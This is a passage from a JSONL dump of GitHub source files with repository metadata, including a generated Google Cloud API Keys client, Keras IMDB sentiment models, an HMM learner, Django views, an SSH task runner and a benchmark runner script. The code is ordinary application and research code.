(Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.api_keys_v2.types.GetKeyStringResponse:\n Response message for GetKeyString method.\n \"\"\"\n # Create or coerce a protobuf request object.\n # Quick check: If we got a request object, we should *not* have\n # gotten any keyword arguments that map to the request.\n has_flattened_params = any([name])\n if request is not None and has_flattened_params:\n raise ValueError(\n \"If the `request` argument is set, then none of \"\n \"the individual field arguments should be set.\"\n )\n\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.GetKeyStringRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.GetKeyStringRequest):\n request = apikeys.GetKeyStringRequest(request)\n # If we have keyword arguments corresponding to fields on the\n # request, apply these.\n if name is not None:\n request.name = name\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.get_key_string]\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n def update_key(\n self,\n request: Optional[Union[apikeys.UpdateKeyRequest, dict]] = None,\n *,\n key: Optional[resources.Key] = None,\n update_mask: Optional[field_mask_pb2.FieldMask] = None,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> operation.Operation:\n r\"\"\"Patches the modifiable fields of an API key. The key string of\n the API key isn't included in the response.\n\n NOTE: Key is a global resource; hence the only supported value\n for location is ``global``.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_update_key():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.UpdateKeyRequest(\n )\n\n # Make the request\n operation = client.update_key(request=request)\n\n print(\"Waiting for operation to complete...\")\n\n response = operation.result()\n\n # Handle the response\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.UpdateKeyRequest, dict]):\n The request object. Request message for ``UpdateKey`` method.\n key (google.cloud.api_keys_v2.types.Key):\n Required. Set the ``name`` field to the resource name of\n the API key to be updated. You can update only the\n ``display_name``, ``restrictions``, and ``annotations``\n fields.\n\n This corresponds to the ``key`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n update_mask (google.protobuf.field_mask_pb2.FieldMask):\n The field mask specifies which fields to be updated as\n part of this request. All other fields are ignored.\n Mutable fields are: ``display_name``, ``restrictions``,\n and ``annotations``. If an update mask is not provided,\n the service treats it as an implied mask equivalent to\n all allowed fields that are set on the wire. If the\n field mask has a special value \"*\", the service treats\n it equivalent to replace all allowed mutable fields.\n\n This corresponds to the ``update_mask`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.api_core.operation.Operation:\n An object representing a long-running operation.\n\n The result type for the operation will be\n :class:`google.cloud.api_keys_v2.types.Key` The\n representation of a key managed by the API Keys API.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n # Quick check: If we got a request object, we should *not* have\n # gotten any keyword arguments that map to the request.\n has_flattened_params = any([key, update_mask])\n if request is not None and has_flattened_params:\n raise ValueError(\n \"If the `request` argument is set, then none of \"\n \"the individual field arguments should be set.\"\n )\n\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.UpdateKeyRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.UpdateKeyRequest):\n request = apikeys.UpdateKeyRequest(request)\n # If we have keyword arguments corresponding to fields on the\n # request, apply these.\n if key is not None:\n request.key = key\n if update_mask is not None:\n request.update_mask = update_mask\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.update_key]\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"key.name\", request.key.name),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Wrap the response in an operation future.\n response = operation.from_gapic(\n response,\n self._transport.operations_client,\n resources.Key,\n metadata_type=empty_pb2.Empty,\n )\n\n # Done; return the response.\n return response\n\n def delete_key(\n self,\n request: Optional[Union[apikeys.DeleteKeyRequest, dict]] = None,\n *,\n name: Optional[str] = None,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> operation.Operation:\n r\"\"\"Deletes an API key. Deleted key can be retrieved within 30 days\n of deletion. Afterward, key will be purged from the project.\n\n NOTE: Key is a global resource; hence the only supported value\n for location is ``global``.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_delete_key():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.DeleteKeyRequest(\n name=\"name_value\",\n )\n\n # Make the request\n operation = client.delete_key(request=request)\n\n print(\"Waiting for operation to complete...\")\n\n response = operation.result()\n\n # Handle the response\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.DeleteKeyRequest, dict]):\n The request object. Request message for ``DeleteKey`` method.\n name (str):\n Required. The resource name of the\n API key to be deleted.\n\n This corresponds to the ``name`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.api_core.operation.Operation:\n An object representing a long-running operation.\n\n The result type for the operation will be\n :class:`google.cloud.api_keys_v2.types.Key` The\n representation of a key managed by the API Keys API.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n # Quick check: If we got a request object, we should *not* have\n # gotten any keyword arguments that map to the request.\n has_flattened_params = any([name])\n if request is not None and has_flattened_params:\n raise ValueError(\n \"If the `request` argument is set, then none of \"\n \"the individual field arguments should be set.\"\n )\n\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.DeleteKeyRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.DeleteKeyRequest):\n request = apikeys.DeleteKeyRequest(request)\n # If we have keyword arguments corresponding to fields on the\n # request, apply these.\n if name is not None:\n request.name = name\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.delete_key]\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Wrap the response in an operation future.\n response = operation.from_gapic(\n response,\n self._transport.operations_client,\n resources.Key,\n metadata_type=empty_pb2.Empty,\n )\n\n # Done; return the response.\n return response\n\n def undelete_key(\n self,\n request: Optional[Union[apikeys.UndeleteKeyRequest, dict]] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> operation.Operation:\n r\"\"\"Undeletes an API key which was deleted within 30 days.\n\n NOTE: Key is a global resource; hence the only supported value\n for location is ``global``.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_undelete_key():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.UndeleteKeyRequest(\n name=\"name_value\",\n )\n\n # Make the request\n operation = client.undelete_key(request=request)\n\n print(\"Waiting for operation to complete...\")\n\n response = operation.result()\n\n # Handle the response\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.UndeleteKeyRequest, dict]):\n The request object. Request message for ``UndeleteKey`` method.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.api_core.operation.Operation:\n An object representing a long-running operation.\n\n The result type for the operation will be\n :class:`google.cloud.api_keys_v2.types.Key` The\n representation of a key managed by the API Keys API.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.UndeleteKeyRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.UndeleteKeyRequest):\n request = apikeys.UndeleteKeyRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.undelete_key]\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Wrap the response in an operation future.\n response = operation.from_gapic(\n response,\n self._transport.operations_client,\n resources.Key,\n metadata_type=empty_pb2.Empty,\n )\n\n # Done; return the response.\n return response\n\n def lookup_key(\n self,\n request: Optional[Union[apikeys.LookupKeyRequest, dict]] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> apikeys.LookupKeyResponse:\n r\"\"\"Find the parent project and resource name of the API key that\n matches the key string in the request. If the API key has been\n purged, resource name will not be set. The service account must\n have the ``apikeys.keys.lookup`` permission on the parent\n project.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_lookup_key():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.LookupKeyRequest(\n key_string=\"key_string_value\",\n )\n\n # Make the request\n response = client.lookup_key(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.LookupKeyRequest, dict]):\n The request object. Request message for ``LookupKey`` method.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.api_keys_v2.types.LookupKeyResponse:\n Response message for LookupKey method.\n \"\"\"\n # Create or coerce a protobuf request object.\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.LookupKeyRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.LookupKeyRequest):\n request = apikeys.LookupKeyRequest(request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.lookup_key]\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n def __enter__(self) -> \"ApiKeysClient\":\n return self\n\n def __exit__(self, type, value, traceback):\n \"\"\"Releases underlying transport's resources.\n\n .. warning::\n ONLY use as a context manager if the transport is NOT shared\n with other clients! Exiting the with block will CLOSE the transport\n and may cause errors in other clients!\n \"\"\"\n self.transport.close()\n\n def get_operation(\n self,\n request: Optional[operations_pb2.GetOperationRequest] = None,\n *,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> operations_pb2.Operation:\n r\"\"\"Gets the latest state of a long-running operation.\n\n Args:\n request (:class:`~.operations_pb2.GetOperationRequest`):\n The request object. Request message for\n `GetOperation` method.\n retry (google.api_core.retry.Retry): Designation of what errors,\n if any, should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n Returns:\n ~.operations_pb2.Operation:\n An ``Operation`` object.\n \"\"\"\n # Create or coerce a protobuf request object.\n # The request isn't a proto-plus wrapped type,\n # so it must be constructed via keyword expansion.\n if isinstance(request, dict):\n request = operations_pb2.GetOperationRequest(**request)\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = gapic_v1.method.wrap_method(\n self._transport.get_operation,\n default_timeout=None,\n client_info=DEFAULT_CLIENT_INFO,\n )\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n\nDEFAULT_CLIENT_INFO = gapic_v1.client_info.ClientInfo(\n gapic_version=package_version.__version__\n)\n\n\n__all__ = (\"ApiKeysClient\",)\n","repo_name":"googleapis/google-cloud-python","sub_path":"packages/google-cloud-api-keys/google/cloud/api_keys_v2/services/api_keys/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":56193,"program_lang":"python","lang":"en","doc_type":"code","stars":4415,"dataset":"github-code","pt":"78"} +{"seq_id":"5957843569","text":"import random\n\ndef getCards() : #카드들을 생성한다.\n cards = []\n for i in range(4) :\n #수식 카드 만들기\n num1 = random.randint(1,9)\n num2 = random.randint(1,9)\n op = random.randint(1,2)\n\n content = \"\"\n correctContent = \"\"\n if op == 1 :\n content = str(num1) + \"+\" + str(num2)\n correctContent = str(num1 + num2)\n elif op == 2 :\n content = str(num1) + \"-\" + str(num2)\n correctContent = str(num1 - num2)\n \n cards.append(content)\n cards.append(correctContent)\n print(cards)\n\ngetCards()","repo_name":"xowl1596/PythonPS-basic","sub_path":"special/memoryCard.py","file_name":"memoryCard.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15464989524","text":"from keras_preprocessing import sequence\nfrom tensorflow.python.keras import Sequential\nfrom tensorflow.python.keras.datasets import imdb\nfrom tensorflow.python.keras.layers import Embedding, SimpleRNN, Dense, Conv1D, MaxPooling1D, GlobalMaxPooling1D, CuDNNLSTM\nfrom tensorflow.python.keras.optimizers import RMSprop\n\nfrom tf_keras.keras import tools\n\n\ndef build_simple_rnn_model(max_features=10000):\n model = Sequential()\n model.add(Embedding(max_features, 32))\n model.add(SimpleRNN(32))\n model.add(Dense(1, activation='sigmoid'))\n model.compile(optimizer='rmsprop', loss='binary_crossentropy', metrics=['acc'])\n return model\n\n\ndef build_LSTM_model(max_features=10000):\n model = Sequential()\n model.add(Embedding(max_features, 32))\n model.add(CuDNNLSTM(32))\n model.add(Dense(1, activation='sigmoid'))\n model.compile(optimizer='rmsprop',\n loss='binary_crossentropy',\n metrics=['acc'])\n return model\n\n\ndef build_cnn_1d_model(maxlen=500):\n model = Sequential()\n model.add(Embedding(max_features, 128, input_length=maxlen))\n model.add(Conv1D(32, 7, activation='relu'))\n model.add(MaxPooling1D(5))\n model.add(Conv1D(32, 7, activation='relu'))\n model.add(GlobalMaxPooling1D())\n model.add(Dense(1))\n model.summary()\n model.compile(optimizer=RMSprop(lr=1e-4),\n loss='binary_crossentropy',\n metrics=['acc'])\n return model\n\n\nif __name__ == '__main__':\n max_features = 10000\n maxlen = 500\n batch_size = 32\n print('Loading data...')\n (input_train, y_train), (input_test, y_test) = imdb.load_data(\n num_words=max_features)\n print(len(input_train), 'train sequences')\n print(len(input_test), 'test sequences')\n print('Pad sequences (samples x time)')\n input_train = sequence.pad_sequences(input_train, maxlen=maxlen)\n input_test = sequence.pad_sequences(input_test, maxlen=maxlen)\n print('input_train shape:', input_train.shape)\n print('input_test shape:', input_test.shape)\n # rnn训练速度极慢\n # model = build_simple_rnn_model()\n\n #CuDNNLSTM, 才能使用gpu提高速度,普通LSTM很慢\n model = build_LSTM_model()\n\n # 训练速度较快\n # model = build_cnn_1d_model()\n\n\n history = model.fit(input_train, y_train,\n epochs=10,\n batch_size=128,\n validation_split=0.2)\n tools.plot_loss(history.history)\n # tools.plot_accuracy(history.history)\n","repo_name":"ljldgup/ml","sub_path":"tf_keras/keras/text_temperature/imdb_SimpleRNN_LSTM_CONV1D.py","file_name":"imdb_SimpleRNN_LSTM_CONV1D.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24706872016","text":"import argparse\r\nimport numpy as np\r\n\r\nindex_tag_input_file =''\r\ndef get_inputs():\r\n \"\"\"\r\n Collects all the inputs from the command line and returns the data. To use this function:\r\n\r\n train_data, words_to_index, tags_to_index, init_out, emit_out, trans_out = get_inputs()\r\n \r\n Where above the arguments have the following types:\r\n\r\n train_data --> A list of training examples, where each training example is a list\r\n of tuples train_data[i] = [(word1, tag1), (word2, tag2), (word3, tag3), ...]\r\n \r\n words_to_indices --> A dictionary mapping words to indices\r\n\r\n tags_to_indices --> A dictionary mapping tags to indices\r\n\r\n init_out --> A file path to which you should write your initial probabilities\r\n\r\n emit_out --> A file path to which you should write your emission probabilities\r\n\r\n trans_out --> A file path to which you should write your transition probabilities\r\n \r\n \"\"\"\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"train_input\", type=str)\r\n parser.add_argument(\"index_to_word\", type=str)\r\n parser.add_argument(\"index_to_tag\", type=str)\r\n parser.add_argument(\"hmmprior\", type=str)\r\n parser.add_argument(\"hmmemit\", type=str)\r\n parser.add_argument(\"hmmtrans\", type=str)\r\n\r\n args = parser.parse_args()\r\n global index_tag_input_file\r\n index_tag_input_file = args.index_to_tag\r\n train_data = list()\r\n with open(args.train_input, \"r\") as f:\r\n examples = f.read().strip().split(\"\\n\\n\")\r\n for example in examples:\r\n xi = [pair.split(\"\\t\") for pair in example.split(\"\\n\")]\r\n train_data.append(xi)\r\n \r\n with open(args.index_to_word, \"r\") as g:\r\n words_to_indices = {w: i for i, w in enumerate(g.read().strip().split(\"\\n\"))}\r\n \r\n with open(args.index_to_tag, \"r\") as h:\r\n tags_to_indices = {t: i for i, t in enumerate(h.read().strip().split(\"\\n\"))}\r\n \r\n return train_data, words_to_indices, tags_to_indices, args.hmmprior, args.hmmemit, args.hmmtrans\r\n\r\n\r\ndef wordLister(directory:str):\r\n examples = None\r\n with open(index_tag_input_file, \"r\") as f:\r\n examples = f.read().strip().split(\"\\n\")\r\n # print(examples)\r\n return examples\r\nif __name__ == \"__main__\":\r\n # Collect the input data\r\n\r\n # Initialize the initial, emission, and transition matrices\r\n\r\n # Increment the matrices\r\n\r\n # Add a pseudocount\r\n\r\n # Save your matrices to the output files --- the reference solution uses \r\n # np.savetxt (specify delimiter=\"\\t\" for the matrices)\r\n x,y,z,w,v,u = get_inputs()\r\n print(\"x is \"+str((x)))\r\n print(\"y is \"+str((y)))\r\n print(\"z is \"+str((z)))\r\n print(\"w is \"+str((w)))\r\n print(\"v is \"+str((v)))\r\n print(\"u is \"+str((u)))\r\n\r\n\r\n given_index_tags=wordLister(index_tag_input_file)\r\n # print(\"index tags are\" +str(given_index_tags))\r\n pi_len = len(given_index_tags)\r\n\r\n #non initialized np arrayfor init matrix\r\n init_1=np.ones([pi_len])\r\n # print(init_1)\r\n\r\n #initialize B matrix\r\n b_mat_1 = np.ones([pi_len,pi_len])\r\n\r\n #initialize emission mat\r\n emiss = np.ones([pi_len,len(y.keys())])\r\n x=x[:10000]\r\n for i in range(0,len(x)):\r\n # for td_j in td_i:\r\n # print(td_j)\r\n # print(x[i])\r\n for j in range(0,len(given_index_tags)):\r\n if x[i][0][1]==given_index_tags[j]:\r\n init_1[j]= init_1[j]+1\r\n for k in range(1,len(x[i])):\r\n for l in range(0, len(given_index_tags)):\r\n if x[i][k-1][1]==given_index_tags[j] and x[i][k][1]==given_index_tags[l]:\r\n b_mat_1[j][l]=b_mat_1[j][l]+1\r\n # for m in range(0,len(emiss[z.get(given_index_tags[j])])):\r\n for n in range(0,len(x[i])):\r\n emiss[z.get(x[i][n][1]),y.get(x[i][n][0])] = emiss[z.get(x[i][n][1]),y.get(x[i][n][0])] + 1\r\n\r\n for i in range(len(b_mat_1)):\r\n b_mat_1[i] = b_mat_1[i]/np.sum(b_mat_1[i])\r\n\r\n for i in range(len(emiss)):\r\n emiss[i] = emiss[i]/np.sum(emiss[i])\r\n total_init = np.sum(init_1)\r\n init_1 = init_1/total_init\r\n # print(\"final init matrix is \"+str(init_1))\r\n # print(\"final b matrix is \"+str(b_mat_1))\r\n # print(\"final emm matrix is \"+str(emiss))\r\n np.savetxt(w, init_1, delimiter='\\n')\r\n # np.savetxt(u, b_mat_1, delimiter='\\n', newline=\" \")\r\n np.savetxt(u, b_mat_1, delimiter=\" \", newline=\"\\n\")\r\n np.savetxt(v, emiss, delimiter=\" \", newline=\"\\n\")\r\n\r\n\r\n#python3 learnhmm.py en_data/train.txt en_data/index_to_word.txt en_data/index_to_tag.txt en_data/hmminit.txt en_data/hmmemit.txt en_data/hmmtrans.txt\r\n\r\n##python3 learnhmm.py fr_data/train.txt fr_data/index_to_word.txt fr_data/index_to_tag.txt fr_data/hmminit.txt fr_data/hmmemit.txt fr_data/hmmtrans.txt\r\n#python3 learnhmm.py toy_data/train.txt toy_data/index_to_word.txt toy_data/index_to_tag.txt toy_data/hmminit.txt toy_data/hmmemit.txt toy_data/hmmtrans.txt\r\n\r\n\r\n","repo_name":"academicnair009/ML_10_601_CMU","sub_path":"hidden_markov/learnhmm.py","file_name":"learnhmm.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21878724309","text":"from django.shortcuts import render, redirect\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom .forms import AutorForm\nfrom .models import Autor\nfrom django.views.generic import TemplateView, ListView\n\n\n# Create your views here.\n\n# Templateview me permite renderizar templates. Es una vista basada en clase\nclass Inicio(TemplateView):\n template_name = 'index.html'\n\n\ndef crearautor(request):\n if request.method == 'POST':\n print(request.POST)\n nom = request.POST.get('nombre')\n ape = request.POST.get('apellidos')\n nacio = request.POST.get('nacionalidad')\n desc = request.POST.get('descripcion')\n autor = Autor(nombre=nom, apellidos=ape, nacionalidad=nacio, descripcion=desc)\n autor.save()\n return redirect('libro:listar_autor')\n return render(request, 'libro/crear_autor.html')\n\n\n# List view me permite listar contenido de modelos. Es una vista basada en clases.\nclass ListadoAutor(ListView):\n model = Autor\n template_name = 'libro/listar_autor.html'\n context_object_name = 'autores' # en el html cuando hago el if pongo este nombre \"if autores\" hace x cosa\n queryset = Autor.objects.filter(estado=True).order_by('id')\n\n\ndef editarautor(request, id):\n autor_form = None\n error = None\n try:\n autor = Autor.objects.get(id=id)\n if request.method == 'GET':\n autor_form = AutorForm(instance=autor)\n else:\n autor_form = AutorForm(request.POST, instance=autor)\n if autor_form.is_valid():\n autor_form.save()\n return redirect('index')\n except ObjectDoesNotExist as e:\n error = e\n return render(request, 'libro/crear_autor.html', {'autor_form': autor_form, 'error': error})\n\n\ndef eliminarautor(request, id):\n autor = Autor.objects.get(id=id)\n autor.estado = False\n autor.save()\n return redirect('libro:listar_autor')\n","repo_name":"angelogaliazzi/biblioteca","sub_path":"apps/libro/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15403412798","text":"import unittest\n\nfrom tests.setup import to_dwc\n\nLABEL = \"color\"\n\n\nclass TestColor(unittest.TestCase):\n def test_color_dwc_01(self):\n self.assertEqual(\n to_dwc(LABEL, \"male leaf margin green\"),\n {\"dwc:dynamicProperties\": {\"maleLeafMarginColor\": \"green\"}},\n )\n\n def test_color_dwc_02(self):\n self.assertEqual(\n to_dwc(LABEL, \"flower petals not purple-spotted\"),\n {\"dwc:dynamicProperties\": {\"missingFlowerPetalColor\": \"purple-spotted\"}},\n )\n","repo_name":"rafelafrance/FloraTraiter","sub_path":"tests/dwc/test_color.py","file_name":"test_color.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"39998513259","text":"\"\"\"Perform tasks against a remote host.\"\"\"\nfrom config import (host,\n user,\n ssh_key_filepath,\n local_file_directory,\n remote_path)\nfrom files import fetch_local_files\nfrom client import RemoteClient\n\n\ndef main():\n \"\"\"Initialize remote host client and execute actions.\"\"\"\n remote = RemoteClient(host, user, ssh_key_filepath, remote_path)\n #upload_files_to_remote(remote)\n execute_command_on_remote(remote)\n remote.disconnect()\n\n\ndef upload_files_to_remote(remote):\n \"\"\"Upload files to remote via SCP.\"\"\"\n files = fetch_local_files(local_file_directory)\n remote.bulk_upload(files)\n\n\ndef execute_command_on_remote(remote):\n \"\"\"Execute UNIX command on the remote host.\"\"\"\n remote.execute_commands(['python3 query_db.py > results.txt', 'cat results.txt'])\n","repo_name":"mfranzon/Python-ssh","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41868932002","text":"import os\nimport subprocess\nimport sys\n\nimport joblib\n\nRUNNER_PATH = 'runner.py'\nDEBUG = True\n\nHARD_TIMEOUT = 3600 * 300\nNTHREADS = 8\nSEED = 42\n\n\ndef run_task(name, gpu, benchmark_path, data_path, dataset, task, fold, trial_name, params, rewrite=False):\n run_name = dataset + '_' + task + '_' + trial_name + '_' + str(fold)\n\n print('Processing', run_name)\n\n benchmark_path = os.path.abspath(benchmark_path)\n data_path = os.path.abspath(data_path)\n output = os.path.join(benchmark_path, name, dataset, task, str(trial_name), 'fold_{0}'.format(fold))\n\n os.makedirs(output, exist_ok=True)\n\n success_flg = os.path.join(output, 'SUCCESS')\n\n if os.path.exists(success_flg) and not rewrite:\n return\n\n # clean folder\n for f in (x for x in os.listdir(output) if not x.startswith('.')):\n os.remove(os.path.join(output, f))\n\n joblib.dump(params, os.path.join(output, 'params.pkl'))\n\n # TRAIN\n try:\n\n script = \"\"\n\n log = subprocess.check_output(script + ' '.join([\n sys.executable,\n RUNNER_PATH,\n '-b', benchmark_path,\n '-p', data_path,\n '-k', dataset,\n '-f', str(fold),\n '-n', str(NTHREADS),\n '-s', str(SEED),\n '-d', ','.join(map(str, gpu)),\n '-o', output,\n '-r', task\n\n ]), shell=True, stderr=subprocess.STDOUT, executable='/bin/bash').decode()\n\n if DEBUG:\n print(log)\n\n with open(success_flg, 'w') as f:\n pass\n\n with open(os.path.join(output, 'train_log.txt'), 'w') as f:\n f.write(log)\n\n except subprocess.CalledProcessError as e:\n\n print(e.output.decode())\n\n with open(os.path.join(output, 'ERROR'), 'w') as f:\n pass\n\n with open(os.path.join(output, 'train_log.txt'), 'w') as f:\n f.write(e.output.decode())\n\n except subprocess.TimeoutExpired:\n\n with open(os.path.join(output, 'TIMEOUT'), 'w') as f:\n pass\n\n print('HARD TIMEOUT!')\n\n results = joblib.load(os.path.join(output, 'results.pkl'))\n return results\n\n\ndef run_cv_loop(name, gpu, benchmark_path, data_path, dataset, task, trial_name, params, rewrite=False):\n res = []\n\n for i in range(5):\n results = run_task(name, gpu, benchmark_path, data_path, dataset, task, i, trial_name, params, rewrite=rewrite)\n\n res.append(results)\n\n return res\n","repo_name":"sb-ai-lab/sketchboost-paper","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"78"} +{"seq_id":"73890981690","text":"import math\nimport os\nimport pickle\nimport re\nimport bisect\n\nfrom base import Frequency\nfrom data import mokassar\n\n\nclass Dictionary:\n main_dict = {}\n \"\"\"\n {\n token1:{\n doc_1:{\n 'frequency': 2,\n 'list':[23, 94],\n }\n doc_2:{\n 'frequency': 1,\n 'list':[35],\n }\n }\n }\n \"\"\"\n\n token_doc_frequency_dict = {}\n\n tf_idf_dict = {}\n \"\"\"\n {\n doc_1: {\n token1: 0.5,\n token2: 0.1,\n token3: 0.8,\n }\n }\n \"\"\"\n\n idf_dict = {}\n \"\"\"\n {\n doc_1: 0.8,\n }\n \"\"\"\n\n champion_dict = {}\n \"\"\"\n {\n word1: [],\n }\n \"\"\"\n doc_element_squares_dict = {}\n token_term_frequency_dict = {}\n stop_words = []\n docs_num 